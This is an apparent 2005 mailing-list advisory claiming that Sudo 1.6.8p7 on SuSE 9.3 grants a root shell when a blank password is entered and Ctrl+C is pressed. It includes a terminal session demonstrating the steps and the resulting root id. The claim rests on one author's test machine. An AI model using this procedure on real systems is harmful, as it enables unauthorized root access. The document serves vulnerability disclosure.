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Date: Tue, 31 May 2005 13:02:22 +0700
From: Xnuxer Security <>
Subject: [XNUXER-SECURITY] Root Privilige Escalation in Sudo version 1.6.8p7 without Password, SuSE 9.3

Today, 31 May 2005, I found error with root privilige escalation in
Sudo version 1.6.8p7 that package installed with SuSE 9.3. Testing in
my machine, sudo appear not check is true when I press CTRL + C with
blank password and giving status SID as root privilige to SID user. I
got successful as root without need a password but only use blank
password and press CTRL + C. Please check my testing below in my SuSE
9.3 box:

client@...use:~> cat /etc/issue

Welcome to SuSE Linux 9.3 (i586) - Kernel \r (\l).

client@...use:~> id
uid=1000(client) gid=100(users) groups=16(dialout),33(video),100(users)
client@...use:~> uname -a
Linux mysuse #1 Wed Mar 23 21:52:37 UTC 2005 i686
i686 i386 GNU/Linux
client@...use:~> sudo -V
Sudo version 1.6.8p7
client@...use:~> sudo su
Password:                         <---- fake password and press ENTER
Sorry, try again.
Password:                          <---- blank password and press CTRL + C
mysuse:/home/client #
mysuse:/home/client # uname -a; id; uptime
Linux mysuse #1 Wed Mar 23 21:52:37 UTC 2005 i686
i686 i386 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
 12:29pm  up   2:45,  3 users,  load average: 0.14, 0.29, 0.45
mysuse:/home/client # 

Other sudo version is not check yet, about affect in other distro of
linux not check too but possible vulnerable, please check it. SuSE
Security still contacted by me.

Dani Firman Syah
Xnuxer Security of Indonesia
My Site:
My Email: or

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